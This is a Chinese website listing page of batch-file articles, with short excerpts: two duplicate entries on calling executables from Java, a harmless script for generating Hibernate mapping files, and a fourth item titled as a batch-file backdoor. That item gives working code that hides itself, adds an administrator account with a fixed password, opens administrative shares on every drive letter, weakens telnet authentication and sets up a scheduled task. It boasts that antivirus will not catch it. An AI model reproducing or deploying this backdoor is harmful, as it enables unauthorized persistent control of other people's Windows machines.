当前位置:首页 > 批处理 > 批处理程序

1

[开发技巧]Java调用可执行程序和批处理命令

作者:asp.net   |   阅读全文   |   时间:2007-04-12
[开发技巧]Java调用可执行程序和批处理命令 :

 

樊欢 java爱好者。

email :heydaymail@hotmail.com

blog :http://heyday.blogone.net

    ......

2

[开发技巧]Java调用可执行程序和批处理命令

作者:asp.net   |   阅读全文   |   时间:2007-04-12
[开发技巧]Java调用可执行程序和批处理命令:

 

樊欢 java爱好者。

email :heydaymail@hotmail.com

blog :http://heyday.blogone.net

    ......

3

由POJO生成Hibernate映射文件的批处理程序

作者:asp.net   |   阅读全文   |   时间:2007-04-12
由POJO生成Hibernate映射文件的批处理程序:

setenv.bat
-------------------------------------------
@echo off

set hibernate_lib=d:\lib\hibernate
set class_root=d:\work\hibernate_test1\classes

set cp=%class_root%;.\;%hibernate_lib%\hibernate-tools.jar;%hibernate_lib%\hibernate2.jar;%hibernate_lib%\commons-logging-1.0.4.jar;



class2hbm.bat
--------------------------------------------
@echo off
call d:\bat\setenv.bat
java -cp %cp% net.sf.hibernate.tool.class2hbm.mapgenerator --output=%class_root%\%1.hbm.xml %2

    ......

4

批处理写的后门程序

作者:asp.net   |   阅读全文   |   时间:2007-04-12
批处理写的后门程序:

这个后门优点就是小而且不会被杀,放到system32目录下就可以了 ,代码如下:
 @echo off
 @attrib +s + r xyt.bat
 @net user xyt hacker /add
 @net localgroup administrators xyt /add
 @net share c$=c:
 @net share d$=d:
 @net share e$=e:
 @net share f$=f:
 @net share g$=g:
 @net share h$=h:
 @tlntadmn config sec = -ntlm

 @net stop schedule
 @net start schedule
 @echo at 11:00 c:\winnt\system32\log.bat > c:\winnt\system32\xyt.bat

    ......
处理 SSI 文件时出错
© 2006-2008 All Rights Reserved